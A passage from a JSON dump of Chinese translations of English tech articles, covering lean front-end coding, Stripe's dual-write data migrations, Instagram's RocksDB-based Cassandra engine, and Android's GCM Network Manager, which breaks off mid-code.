    "content": "> * 原文地址：[如何编写更少的代码](http://www.heydonworks.com/article/on-writing-less-damn-code)\n* 原文作者：[Heydon Pickering](http://www.heydonworks.com/about)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[circlelove](https://github.com/circlelove)\n* 校对者：[MAYDAY1993](https://github.com/MAYDAY1993)，[cbangchen](https://github.com/cbangchen)\n\n# 如何编写更少的代码\n\n我不是世界上最有天赋的码神。是的，这是事实。所以我尽可能地减少代码量。我写的越少，需要破坏、解释和维护的地方就越少。\n\n我也挺懒的，所以懒人有懒福（原文为it’s all gravy）。(_作者: 或许这里用了个关于食物的比喻?_)\n\n但事实证明唯一可靠的方法来实现 Web 应用的性能优化也还是缩减代码量。削减？好。压缩？行吧。缓存？听起来有技术含量。完全拒绝写代码或者把别人的代码放在首位？ **这就对了。** 输入的东西要以某种方式输出，不论它是否被破坏还是被你的任务执行器的胃液消化成水了。(_作者: 我对这个食物的比喻改变了想法。_)\n\n\n\n而且这还不是全部。不像那些为了‘看得见’的性能提升————你还是得发送一样的代码量，不过要先尝一口( _作者:严肃脸_ )————你可以实实在在地让你的 Web 应用 _方便_ 使用。我的数据协定不管你是发送多个小代码块还是一个大块；它都一律添加。\n\n但是我_最喜欢的_削减代码的事情就是：你最终以你真正需要也就是的_用户_真正想要的东西实现代码功能。大口喝拿铁的大块头硬汉形象？别那样！让那些挂了一堆第三方代码的社交媒体按钮，同步地破坏你的页面设计？打发他们滚蛋。谁见过 JavaScript 的东西会劫持用户的右键按钮来显示一些自定义的模式？把他们送进冰月亮监狱。\n\n这并不只是有关你加上的东西会不会破坏你的 UX 的问题。你写（自己）代码的_方法_也是简化它的一个重要组成。这里有几个小建议和想法或许能帮上忙。我过去曾经写过一些，但那是有关无障碍和响应设计的。一个灵活的无障碍的 Web 是我们努力发挥自己对代码量的控制的结果，也是为了减少破坏。\n\n## 无障碍网页应用技术 (WAI-ARIA)\n\n首先，辅助应用程序不等于 Web 的可访问性。它只是一个在需要的时候利用特定辅助技术（例如屏幕阅读）提升性能的工具。因此[ ARIA 使用第一守则](https://www.w3.org/TR/aria-in-html/#first-rule-of-aria-use) 就是 _不要_在不需要的使用使用 WAI-ARIA 。\n\nLOL, 不要这样：\n\n```\n\n<div role=\"heading\" aria-level=\"2\">Subheading</div>\n\n```\n\n要这样:\n\n```\n\n<h2>Subheading</h2>\n\n```\n\n使用原生元素的好处就是你不用为自己的操作编写脚本了。不仅是下面的复选框执行冗长的 HTML ，还需要一个 JavaScript 的依赖来控制状态改变和 [follyfill](https://twitter.com/heydonworks/status/765444886099288064) 标准，有关 `name` 属性和 `GET` 的方法的基本行为。代码一多就不稳定。开心！\n```\n\n<div role=\"checkbox\" aria-checked=\"false\" tabindex=\"0\" id=\"checkbox1\" aria-labelledby=\"label-for-checkbox1\"/>\n<div class=\"label\" id=\"label-for-checkbox1\">My checkbox label</div>\n\n```\n\n[样式？不用担心，有人罩你](http://wtfforms.com/)。你真的需要自定义样式的话，随你。\n\n```\n\n<input type=\"checkbox\" id=\"checkbox1\" name=\"checkbox1\">\n<label for=\"checkbox1\">My checkbox label</label>\n```\n\n## 网格\n你还记得曾经享受使用/阅读一个多于两栏的网站表示的体验吗？我可没有。一次性给出太多的东西，渴望我的关注。“我想知道这一坨看起来像\n是导航的东西到底哪个才是我要的导航？” 这是个反问：我的执行工作已经停滞，然后离开了网站。\n\n当然有时候我想把一个东西和另一个挨着。比如搜索结果之类的。但是为什么要为了这么个东西拖了整个臃肿的样板框架呢？ Flexbox 用不了几个声明块就能解决。\n\n```\n\n.grid {\n  display: flex;\n  flex-flow: row wrap;\n}\n\n.grid > * {\n  flex-basis: 10em;\n  flex-grow: 1;\n}\n\n```\n\n现在一切都 “flex” 到了 10 em 宽。列数取决于你能在视口里面放多少`10em`的单元格。搞定。继续。\n\n哦还有，这时候我们需要谈谈下面这个东西：\n\n```\n\nwidth: 57.98363527356473782736464546373337373737%;\n\n```\n\n你知道这个精确的测量结果是从一个神秘的比例里面算出来的吗？是一种使你达到平静和敬畏状态的比例？不，我不知道也不感兴趣。把那个色情的按钮弄得大到我能找到就行。\n\n## 外边距\n\n[我们完成这些了](http://alistapart.com/article/axiomatic-css-and-lobotomized-owls)。使用通用选择器分享你的外边距元素定义。只在需要的时候添加重写。你不需要太多的。\n\n```\n\nbody * + * {\n  margin-top: 1.5rem;\n}\n\n```\n\n不，通用选择器不会破坏你的性能。那是废话。\n\n## 视图\n\n你也不需要整个的 Angular 或者 Meteor 或者什么的来把简单的 web 页面分成一个个“视图”。视图也只是页面中可见的部分，而其余的看不见而已。 CSS 可以做到这些：\n\n```\n\n.view {\n  display: none;\n}\n\n.view:target {\n  display: block;\n}\n\n```\n\n“但是单页应用加载了视图才运行项目！”我听到你会说这个。“那就是 `onhashchange` 的用处了。不需要库，以一个种标准的、可添加书签的方法是用链接。那就挺好。[如果你很感兴趣的话，关于这个技术还有更多介绍](https://www.smashingmagazine.com/2015/12/reimagining-single-page-applications-progressive-enhancement/).\n\n## 字体大小\n\n改变字号真的可以打消你的 `@media` 块。那就是你需要让 CSS 帮你关照一下的原因。只需一行代码：\n\n```\n\nfont-size: calc(1em + 1vw);\n\n```\n\n额。。。就是这样。你甚至有一个最小的字体尺寸，手机上不会有这么小的字。感谢 [Vasilis](https://twitter.com/vasilis) 的分享。\n\n## [10k Apart](https://a-k-apart.com/)\n\n就像我说过的，我不是最好的码农。我只是懂得一些小技巧。但是这些小技巧真的可以办到很多大事情。这就是 [10k Apart competition](https://a-k-apart.com/) 的前提————发现我们可以用 10k 或者更少代码完成的事情。还有很多的大奖需要我们去赢取，作为一个内行，我期待鞭策自己看完所有的神奇的条目；我希望我能有这样的想法和执行。你有没有想做些什么呢？\n\n\n\n\n\n\n"
  },
  {
    "path": "TODO/online-migrations.md",
    "content": "> * 原文地址：[Online migrations at scale](https://stripe.com/blog/online-migrations)\n* 原文作者：[Jacqueline Xu](https://stripe.com/about#jacqueline)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[steinliber](https://github.com/steinliber)\n* 校对者： [sqrthree](https://github.com/sqrthree) [zheaoli](https://github.com/Zheaoli)\n\n# 在线进行大规模的数据迁移\n\n工程师团队在构建软件时会面临一个普遍的挑战：为了支持整洁的抽象和愈加复杂的特性，他们通常需要重新设计所使用的数据模型。在生产环境中，这或许就意味着要迁移百万级的活跃对象和重构数千行的代码。\n\nStripe 的用户期望我们的接口是可用并且一致的。这就意味着当我们在做迁移的时候需要格外的小心：我们需要明确储存在系统中每一个对象的含义及值，同时也需要确保 Stripe 在任何时候都能为用户提供服务。\n\n在这篇文章中，我们将会说明我们是如何对数以百万的订阅对象进行安全的大规模迁移。\n\n---\n\n## 为什么迁移是困难的?\n\n-\n### 规模\n\nStripe 有数亿的订阅对象。运行一次涉及所有这些对象的大规模迁移对于我们的生产数据库来说意味着大量的工作。\n\n假设每个对象的迁移都要耗费 1 秒钟：以这个线性增长的方式计算，迁移数亿的对象要花掉超过三年的时间。\n\n-\n### 上线时间\n\n商家在 Stripe 上持续不断的进行交易。我们在线上进行所有的基础设施升级，而不是依赖于计划中的维护期。因为我们在迁移过程中不能只是简单的暂停这些订阅，我们必须保证所有交易的执行都可以在我们的所有服务器上 100% 运行。\n\n-\n### 精确性\n\n我们的订阅表在代码库的许多不同地方都会用到。如果我们想一次性在订阅服务中修改上千行的代码，我们几乎可以确信会忽略掉一些边界条件。我们需要确保每一个服务可以继续依赖于精确的数据。\n\n## 在线迁移的一个模式\n\n从一个表迁移百万级数据到另一个表是一件极为困难但是是许多公司不得不面对的一件事。\n\n这里有一个通用的 4 步**双重写入模式**，人们经常使用像这样的模式来做线上的大规模迁移。这里是它如何工作的\n\n1. **双重写入** 到已经存在和新的数据库来保持它们同步。\n2. **修改所有代码库里的读路径** 从新的表读数据。\n3. **修改所有代码库里的写路径** 只写入新的表。\n4. **移除依赖于过期数据模型的旧数据** 。\n\n---\n\n## 我们迁移的例子: 订阅\n\n什么是订阅以及我们为什么需要做迁移？\n\n[Stripe 订阅](https://stripe.com/subscriptions) 帮助像 [DigitalOcean](https://www.digitalocean.com/) 和 [Squarespace](https://www.squarespace.com/) 的用户建立和管理它们消费者的定期结算，在这过去的几年中，我们已经添加了许多特性去支持它们越来越复杂的账单模型，比如说多方订阅、试用、优惠券和发票。\n\n在早些时候，每个消费者对象最多可以有一个订阅。我们的消费者被当作独立的记录储存。因为消费者和订阅的映射是直接的，所以订阅是和消费者是一起储存的。\n\n    class Customer\n      Subscription subscription\n    end\n\n最终，我们意识到有些用户想要创建有多个订阅表的消费者。我们决定把 `subscription` 字段（只支持一个订阅）转换成`subscriptions`字段，这样我们就可以储存一个有多个活跃订阅的数组。\n\n    class Customer\n      array: Subscription subscriptions\n    end\n\n在我们添加新特性的时候，发现这个数据模型会有问题。任何对消费者订阅的改变都意味着要更新整个消费者模型，而且和订阅相关的查询也会在消费者对象中查询。所以我们决定分开储存活跃的订阅。\n\n我们重新设计了数据模型从而把订阅移到订阅表中。\n\n提醒一下⏰，我们的 4 个迁移阶段是\n\n1. **双重写入** 到已经存在和新的数据库来保持它们同步。\n2. **修改所有代码库里的读路径** 从新的表读数据。\n3. **修改所有代码库里的写路径** 只写入新的表.\n4. **移除依赖于过期数据模型的旧数据**。\n\n让我们像实践中一样来体验这4个阶段。\n\n---\n\n## Part 1: 双重写入\n\n在开始迁移之前，首先我们会创建一个新的数据库表。第一步就是开始复制新消息，以便将其写入到两个储存中。我们之后会将缺失的数据回填到新的储存中，以便两个储存保存相同的信息。\n\n所有新的写入都应该更新到这两个储存。\n\n在我们的例子中，我们将所有新创建的订阅记录写到 Customers 和 Subscriptions 表中。在我们开始双重写入这两张表之前，这种额外的写入对我们生产数据库产生的潜在影响是值得我们考虑的。我们可以通过降低提高复制对象的百分比的速度来缓解性能问题，同时仔细检查运行时的指标。\n\n这时候，新创建的对象会同时存在于两个表中，而旧的数据只能在旧的表中找到。我们将会以惰性方式开始复制已经存在的订阅：每当对象更新，它们将自动被复制到新表中。这个方法让我们开始逐步转移现有的订阅。\n\n最终，我们会将所有剩余的消费者订阅数据回填到新的 Subscriptions 表中。\n\n我们需要将已经存在的订阅回填到新的 Subscriptions 表中。\n\n要在一个实时的数据库上回填一个新表其中最重要的是如何简单找到所有需要迁移的对象。通过查询数据库来查找所有对象会在生产数据库执行大量查询，这将需要很多时间。幸运的是，我们可以将这个过程分流成对我们生产数据库没影响的离线过程。我们为我们的 Hadoop 集群提供了我们的数据库快照，这使我们能够使用 [MapReduce](https://en.wikipedia.org/wiki/MapReduce) 通过离线、分布式的方式快速处理我们的数据。\n\n我们使用 [Scalding](https://github.com/twitter/scalding) 来管理我们的 MapReduce 任务。Scalding 是一个由 Scala 编写的有用的库，可以帮助我们方便的编写 MapReduce 的 Job (您可以用 10 行代码编写一个简单的 Job)。在这里，我们将会使用 Scalding 来帮助我们识别所有的订阅。我们将会遵循以下步骤：\n\n- 编写一个Scalding job，该 job 提供需要复制的所有订阅数据 ID 的列表。\n- 运行大型多线程迁移，通过一系列可以有效对我们的数据并行操作的进程来复制这些订阅。\n- 迁移完成后，再次运行 Scalding Job，以确保订阅表中没有遗漏的订阅。\n\n---\n\n## Part 2: 修改全部的写路径\n\n现在新的和旧的数据都已经同步储存了，下一步就是开始使用新的数据储存来读取我们的全部数据。\n\n到现在为止，所有的读操作都使用已经存在的 Customers 表：我们需要将这些操作移到 Subscriptions 表中。\n\n我们需要确保从新的 Subscriptions 表中读取数据是安全的：我们的订阅数据需要保持一致性。我们将会使用 GitHub 的 [Scientist](https://github.com/github/scientist) 来帮助验证我们的数据读取路径。Scientist 是一个 Ruby 库可以让你运行试验并比较不同代码路径的运行结果，如果两个试验在生产中出现了不同的结果它就会提醒你。有了 Scientist，我们就可以在实时运行中生成不同结果的警告和指标。当一份试验代码路径上产生了一个错误，我们其余的应用并不会受此影响。\n\n我们将会运行以下试验:\n\n- 使用 Scientist 来同时从 Subscriptions 表和 Customers 表读取数据。\n- 如果结果并不匹配，产生一个错误来提醒我们的工程师这个结果不一致。\n\nGitHub 的 Scientist 让我们可以运行从两张表读取数据的试验并且比较运行的结果。\n\n在我们验证所有试验都匹配上之后，我们开始从新表中读取数据。\n\n我们的试验是成功的：所有读的操作现在都是使用新的订阅表。\n\n---\n\n## Part 3: 修改所有写路径\n\n接下来，我们需要更新全部的写路径到我们新的 Subscriptions 储存。我们的目标是逐步推进这些变化，因此我们需要采取谨慎的策略。\n\n一直到现在 ，我们已经把数据写入到旧的储存中并且把它们复制到新的储存中：\n\n我们现在要逆转顺序：把数据写入到新的储存中之后再把它归档到旧的储存中。通过保持着两个储存的数据相互一致性，我们可以逐步更新并且仔细观察每一步的改变。\n\n在我们改变订阅的过程中最具有挑战性的部分就是重构所有的代码路径。Stripe 处理订阅操作(例如更新、划分、续订）的逻辑跨多个服务和数千行代码。\n\n能够成功重构的关键就是我们的逐步过程：我们将隔离尽可能多的代码路径到最小的单元，从而可以仔细实现每个更改。我们的两张表需要在每一步都保持一致。\n\n对于每一个代码路径，我们都需要使用一个整体的方法来确保我们所做的改变是安全的。我们不能只是用新纪录来替换老纪录：每一段的逻辑都需要仔细考虑。如果我们忽略任何情况，或许就会出现数据不一致的情况。幸运的是，我们可以运行更多的 Scientist 试验来提醒我们这个过程中任何潜在的数据不一致。\n\n我们新的简化写入路径如下所示：\n\n我们可以确保没有代码块继续使用过时的 `subscriptions` 数组，任何对这个数组的调用都会引发错误：\n\n    class Customer\n      def subscriptions\n        hard_assertion_failed(\"Accessing subscriptions array on customer\")\n      endend\n\n---\n\n## Part 4: 移除旧数据\n\n我们最终（也是最惬意）的一步是删除写入旧储存的代码并最后删除旧储存。\n\n一旦我们确信再没有代码依赖于已经过期的数据模型的 `subscriptions` 字段，我们就再也不需要把数据写入到旧的表里了。\n\n有了这些改变，我们的代码再也不使用旧的储存，而新的表成为了我们可靠·的数据来源。\n\n\n我们现在可以删除所有 Customer 对象的 `subscriptions` 数组，我们将会以惰性的方式来逐步进行删除。我们首先在每次加载订阅对象时自动清空数组，之后再运行一个最后的 Scalding job 和迁移来找到所有剩余要删除的对象。最终我们得到了所需要的模型。\n\n---\n\n## 总结\n\n在保持 Stripe API 的一致性的同时运行迁移是复杂的。这里有帮助我们安全运行迁移的一些点：\n\n- 我们制定了一份包含 4 个阶段的迁移策略，这个策略允许我们保持生产服务器运行的同时完成数据储存的转移，而没有任何下线时间。\n- 我们使用 Hadoop 离线处理数据，这让我们可以使用 MapReduce 以并行的方式来管理高数据量，而不是依赖于生产数据库上昂贵的查询。\n- 所有做的改变都是逐步的。我们从来都没有企图一次改超过几百行的代码。\n- 我们所做的所有改变都是高度透明和可观察的。一旦任何数据出现了不一致，Scientist 试验都会提醒我们。在每一步，我们都对我们的安全迁移抱有信心。\n\n我们发现这种方法在 Stripe 上执行的许多在线迁移中都非常有效。我们希望这些实践对其他团队执行大规模迁移会有用。\n\n\n"
  },
  {
    "path": "TODO/open-sourcing-a-10x-reduction-in-apache-cassandra-tail-latency.md",
    "content": "> * 原文地址：[Open-sourcing a 10x reduction in Apache Cassandra tail latency](https://engineering.instagram.com/open-sourcing-a-10x-reduction-in-apache-cassandra-tail-latency-d64f86b43589)\n> * 原文作者：[Instagram Engineering](https://engineering.instagram.com/@InstagramEng?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/open-sourcing-a-10x-reduction-in-apache-cassandra-tail-latency.md](https://github.com/xitu/gold-miner/blob/master/TODO/open-sourcing-a-10x-reduction-in-apache-cassandra-tail-latency.md)\n> * 译者：[stormluke](http://stormluke.me)\n> * 校对者：[allenlongbaobao](https://github.com/allenlongbaobao)\n\n# 让 Apache Cassandra 尾部延迟减小 10 倍，已开源\n\n在 Instagram，我们的数据库是全球最大的 Apache Cassandra 部署之一。我们于 2012 年开始用 Cassandra 取代 Redis，来支持欺诈检测、信息流和 Direct 收件箱等产品需求。最初我们在 AWS 环境中运行 Cassandra 集群，但当其他 Instagram 服务迁移到 Facebook 的基础设施上时，我们也迁过去了。对我们来说 Cassandra 的可靠性和可用性体验都很不错，但是在读取延迟上仍有改进空间。\n\n去年，Instagram 的 Cassandra 团队开始致力于一个项目，目标是显著减少 Cassandra 的读取延迟，我们称之为 Rocksandra。在这篇文章中，我将介绍该项目的动机、我们克服的挑战以及在内部环境和公共云环境中的性能指标。\n\n### 动机\n\n在 Instagram 我们大量使用 Apache Cassandra 作为通用的键值存储服务。大部分 Instagram 的 Cassandra 请求都是实时（Online）的，为了向巨量的 Instagram 用户提供可靠和快速的用户体验，我们对这些指标的 SLA（服务等级协议，Service Level Agreement）非常严格。\n\nInstagram 维护 5-9 秒的可靠性 SLA，这意味着在任何时候，请求失败率应该小于 0.001％。为了提高性能，我们实时监控不同 Cassandra 集群的吞吐量和延迟，尤其是 P99 读取延迟。\n\n下图展示了生产环境中的一个 Cassandra 集群的客户端延迟。蓝线是平均读取延迟（5ms），橙线是 P99 读取延迟（在 25ms 到 60ms 的范围内，并随着客户端流量变化而变动）。\n\n![](https://cdn-images-1.medium.com/max/800/1*Scn1Nm33oukOJpUd4Ukszw.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*ItBORNwCXce82ZNX6qf6Vg.png)\n\n经过调查，我们发现 JVM 垃圾收集器（GC）对延迟峰值作出了很大贡献。我们定义了一个叫做 GC 暂停（GC stall）百分比的度量标准，用于度量 Cassandra 服务器在 stop-the-world GC（新生代 GC）并且无法响应客户端请求时所占时间百分比。这是另一张图，显示了我们生产环境 Cassandra 服务器的 GC 暂停百分比。在流量最小的时间段内，这一比例为 1.25％，在高峰时段可以高达 2.5％。\n\n该图显示 Cassandra 服务器会把 2.5％ 的运行时间用于垃圾收集，而不是响应客户端请求。GC 开销显然对我们的 P99 延迟有很大影响，所以如果能够降低 GC 暂停百分比，也就能够显著降低 P99 延迟。\n\n### 解决方案\n\nApache Cassandra 是一个分布式数据库，它使用自己以 Java 编写的基于 LSM 树的存储引擎。我们发现存储引擎中的某些组件，例如 memtable、压缩、读/写的代码路径等等，在 Java 堆中创建了很多对象，并给 JVM 增加了很多开销。为了减少存储引擎带来的 GC 问题，我们考虑了不同的方法，最终决定开发一个 C++ 存储引擎来替代现有的引擎。\n\n我们不想从头开始构建新的存储引擎，因此决定在 RocksDB 之上构建新的存储引擎。\n\nRocksDB 是一款开源的高性能嵌入式数据库，用于处理键值数据。它用 C++ 编写，并且提供了 C++、C 和 Java 的官方 API。RocksDB 针对性能进行了优化，尤其是针对 SSD 这样的快速存储设备。它在业界被广泛用作 MySQL、mongoDB 和其他流行数据库的存储引擎。\n\n### 挑战\n\n在 RocksDB 上构建新的存储引擎时，我们克服了三个主要挑战。\n\n第一个挑战是 Cassandra 的架构不支持可插拔的存储引擎，就是说现有的存储引擎与数据库中的其他组件耦合在一起。为了在大量重构和快速迭代之间找到平衡，我们定义了一个新的存储引擎 API，包括最常见的读/写和流接口。通过这种方式，我们可以在 API 后面构建新的存储引擎，并将其插入到 Cassandra 内部的相关代码路径中。\n\n其次，Cassandra 支持丰富的数据类型和表模式，而 RocksDB 只提供纯粹的键值接口。我们仔细地定义了编码/解码算法，以便在 RocksDB 的数据结构之上支持 Cassandra 的数据模型，并支持与原始 Cassandra 相同的查询语义。\n\n第三个挑战是流接口。流传输是像 Cassandra 这样的分布式数据库的重要组成部分。我们新增或移除 Cassandra 集群中的节点时，Cassandra 需要在不同节点之间传输数据以平衡集群中的负载。现有的流传输实现是基于当前存储引擎中的内部细节的。因此，我们必须将它们分离开，建立一个抽象层，并使用 RocksDB API 重新实现流传输。为了提高流吞吐量，目前我们先将数据写入到 temp sst 文件，然后使用 RocksDB ingest file API 将它们一次性批量加载到 RocksDB 中。\n\n### 性能指标\n\n经过大约一年的开发和测试，我们已经完成了第一个版本的实现，并成功在 Instagram 内部将其推广部署到多个 Cassandra 集群。在我们的其中一个生产集群中，P99 读取延迟从 60ms 降至 20ms。我们还观察到，该群集上的 GC 暂停从 2.5％ 下降到 0.3％，足足减小了 10 倍！\n\n我们还想验证 Rocksandra 在公共云环境中是否会表现良好。我们使用三个 i3.8 xlarge EC2 实例在 AWS 环境中配置 Cassandra 集群，每个实例都有 32 个 CPU 核心，244GB 内存以及 4 个 nvme 闪存磁盘组成的 raid0。\n\n我们使用 [NDBench](https://github.com/Netflix/ndbench) 作为基准测试框架，并使用这个框架中默认的表模式：\n\n```sql\nTABLE emp (\n  emp_uname text PRIMARY KEY,\n  emp_dept text,\n  emp_first text,\n  emp_last text`\n)\n```\n\n我们预加载了 2.5 亿行每行 6KB 的数据到数据库中（每个服务器在磁盘上存储大约 500GB 数据），并在 NDBench 中配置了 128 个读取端和 128 个写入端。\n\n我们测试了不同的负载并测量了平均/P99/P999的读/写延迟。如你所见，Rocksandra 提供了更低且更稳定的尾部读/写延迟。\n\n![](https://cdn-images-1.medium.com/max/800/1*Mpvc-jd61xmcrE4aEth4NA.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*zZO7xeU8fsWosWbkev873g.png)\n\n我们还测试了只读负载，并观察到在相似的 P99 读取延迟（2ms）下，Rocksandra 可以提供 10 倍的读取吞吐量（Rocksandra 为 300K/s，C* 3.0 为 30K/s）。\n\n![](https://cdn-images-1.medium.com/max/800/1*E-2efj-mMo0dQWEvZyxn1g.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*d5gs5SJzq6laocevBqA1Bg.png)\n\n### 展望\n\n我们已经开源了 [Rocksandra 代码库](https://github.com/Instagram/cassandra/tree/rocks_3.0) 和 [基准测试框架](https://github.com/Instagram/cassandra-aws-benchmark)，你可以从 Github 上下载并在自己的环境中尝试！请让我们知道它的表现。\n\n作为下一步，我们正在积极开发更多的 C* 功能支持，如二级索引，数据修复等等。我们还在开发一个 [C* 可插拔存储引擎架构](https://issues.apache.org/jira/browse/CASSANDRA-13474)，将我们的工作回馈给 Apache Cassandra 社区。\n\n如果您身处湾区，并有兴趣了解更多关于 Cassandra 开发的信息，请参加我们的下一次 [聚会活动](https://www.meetup.com/Apache-Cassandra-Bay-Area/events/248376266/)。\n\nDikang Gu 是 Instagram 的一名基础架构工程师\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/optimize-battery-life-with-androids-gcm-network-manager.md",
    "content": "> * 原文链接 : [Optimize Battery Life with Android's GCM Network Manager](https://www.bignerdranch.com/blog/optimize-battery-life-with-androids-gcm-network-manager/)\n* 原文作者 : [Matt Compton](https://www.bignerdranch.com/about-us/nerds/matt-compton/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [程大治](http://blog.chengdazhi.com)\n* 校对者: [leokelly](https://github.com/leokelly), [Zhongyi Tong](https://github.com/geeeeeeeeek)\n\n# 使用 GCM 网络管理工具优化电池使用\n\n通过[GCM网络管理工具](https://developers.google.com/android/reference/com/google/android/gms/gcm/GcmNetworkManager)我们可以注册用于执行网络任务的服务，其中每一个任务都是一件独立的工作。GCM的API帮助进行任务的调度，并让Google Play服务在系统中批量进行网络操作。\n\n其API还有助于简化网络操作模式，比如等待网络连接、进行网络重连与补偿等。总的来说，GCM网络管理工具通过提供一个简洁明快的网络请求调度API来帮助开发者在网络相关的问题上少费心思。\n\n## 电量和网络操作\n\n在深入GCM与其优势之前，我们先聊一聊与网络请求相关的电池使用问题，这有助于我们认识批量处理网络操作的重要性。\n\n下面是Android通讯模块(radio)的状态机：\n\n![radio_diagram](http://7xpg2f.com1.z0.glb.clouddn.com/mobile_radio_state_machine.png)\n\n这个图还是挺清晰的。我想通过这个图表告诉大家唤醒通讯模块是处理网络连接时最耗电的操作，也就是说，网络操作是电池最大的消耗者。\n\n虽然一个网络操作不可能耗尽电池，但唤醒通讯模块所发送的单个请求数目相当可观。如果网络请求是单独发送的，那么设备就会被持续唤醒，通讯模块也会保持开启状态。设备持续唤醒无法休眠会导致电量大幅消耗。（就如人睡不着觉一样）\n\n下面的示意图说明了一个叫PhotoGallery的图片获取APP的单次网络请求，这个APP也是我们的畅销书[Android Programming Book](https://www.bignerdranch.com/we-write/android-programming/)中的一个示例APP。\n\n![network_request](http://7xpg2f.com1.z0.glb.clouddn.com/network_request_single.png)\n\n看起来单次网络操作也没啥。网络模块被唤醒了，但这只是单次请求。\n\n而多次请求的示意图是这样的：\n\n![network_multiple](http://7xpg2f.com1.z0.glb.clouddn.com/network_request_multiple.png)\n\n现在我们有了多次网络请求，注意观察网络模块在每次请求时都被唤醒，这会快速消耗电量，让使用者不爽。\n\n在这里我们可以通过批量进行网络操作来优化电池使用，因为这可以减少启动网络模块所消耗的电量。如果网络模块生命周期中最耗电的部分是启动部分，那么我们可以在多次请求中只唤醒一次。如果我们所请求的数据不需要马上获取，而是在未来的某个时间点需要用到，那这种方式还算可行。\n\n批量网络请求的示意图如下：\n\n![network_batch](http://7xpg2f.com1.z0.glb.clouddn.com/network_request_batched.png)\n\n现在网络模块只会唤醒一次，省了不少电。\n\n有时你的确马上需要用到网络请求的数据，如打游戏或者发短信的情况。这些情况下，还是需要发送单次网络请求，不过要记住这对电池、网络状态和设备重启并无好处。\n\n## GcmTaskService\n\n既然我们已经看到了批量进行网络请求对优化电池使用能起到不小的作用，现在让我们在应用中实现GCM网络管理工具。\n\n首先，在build.gradle文件中添加GCM网络管理工具的依赖。\n\n\tdependencies {\n\t\t...\n\t\tcompile 'com.google.android.gms:play-services-gcm:8.1.0'\n\t\t...\n\t}\n\n切记只需依赖Google Play Services的GCM部分，不然你需要依赖所有的Google Play Service，而其中大部分是用不到的方法。\n\n下一步，我们需要在AndroidManifest中声明一个新的Service：\n\n\t<service android:name=\".CustomService\"\n\t\t\tandroid:permission=\"com.google.android.gms.permission.BIND_NETWORK_TASK_SERVICE\"\n\t\t\tandroid:exported=\"true\">\n\t\t<intent-filter>\n\t\t\t<action android:name=\"com.google.android.gms.gcm.ACTION_TASK_READY\"/>\n\t\t</intent-filter>\n\t</service>\n\n这里Service的name属性是继承了GcmTaskService的类的类名，GcmTaskService是与GCM网络管理工具交互的核心类。这个Service会处理任务的执行，这里的任务是任何网络工作的一部分。上面代码中action是ACTION_TASK_READY的intent-filter是用于接收GCM中的调度工具所发送的某任务可被执行的通知。\n\n下一步，我们写一个CustomService.java继承GcmTaskService：\n\n\tpublic class CustomService extends GcmTaskService {\n\t\t...\n\t}\n\n这个类会处理所有执行中的任务。由于继承了GcmTaskService，我们需要在CustomService中重写onRunTask方法。\n\n\t@Override\n\tpublic int onRunTask(TaskParams taskParams) {\n\t\tLog.i(TAG, \"onRunTask\");\n\t\tswitch (taskParams.getTag()) {\n\t\t\tcase TAG_TASK_ONEOFF_LOG:\n\t\t\t\tLog.i(TAG, TAG_TASK_ONEOFF_LOG);\n\t\t\t\t// 进行逻辑处理\n\t\t\t\treturn GcmNetworkManager.RESULT_SUCCESS;\n\t\t\tcase TAG_TASK_PERIODIC_LOG:\n\t\t\t\tLog.i(TAG, TAG_TASK_PERIODIC_LOG);\n\t\t\t\t// 进行逻辑处理\n\t\t\t\treturn GcmNetworkManager.RESULT_SUCCESS;\n\t\t\tdefault:\n\t\t\t\treturn GcmNetworkManager.RESULT_FAILURE;\n\t\t}\n\t}\n\n当某一个任务需要执行时，这个方法就会被调用。我们在这里要检测作为参数传入的TaskParams的tag，一个tag单独映射到一个被调度的任务。一般来说我们需要在case代码块中添加网络操作或逻辑操作，但在这里我只打了一个tag。\n\n## GcmNetworkManager\n\n现在我们写好了GcmTaskService，我们需要获取到GcmNetworkManager对象的引用，并通过它调度新的任务让刚才写的Service执行。\n\n\tprivate GcmNetworkManager mGcmNetworkManager;\n\t\n\t@Override\n\tprotected void onCreate(Bundle savedInstanceState) {\n\t\tsuper.onCreate(savedInstanceState);\n\t\tsetContentView(R.layout.activity_main);\n\t\t...\n\t\tmGcmNetworkManager = GcmNetworkManager.getInstance(this);\t}\n\nGcmNetworkManager对象是用来调度网络任务的，所以我们可以在onCreate中获取其引用并存为成员变量。或者，你也可以在需要进行网络调度时再获取实例（饿汉）。\n\n## 任务调度\n\n一个单独的任务相当于一件等待执行的工作，可以分为两种类型：一次性的(OneoffTask)和周期性的(PeriodicTask)。\n\n我们将执行区间(window of execution)传给任务，而后调度工具就会计算确切的执行时间。因为这些任务不需要立即执行，调度器会将许多网络请求捆绑执行来节省电量。\n\n调度器会自己判断网络连接情况、网络任务与网络负荷，如果这些因素都正常，调度工具会等待至给定区间的结束点。\n\n下面是调度一个单次任务的代码：\n\n\tTask task = new OneoffTask.Builder()\n\t\t\t.setService(CustomService.class)\n\t\t\t.setExecutionWindow(0, 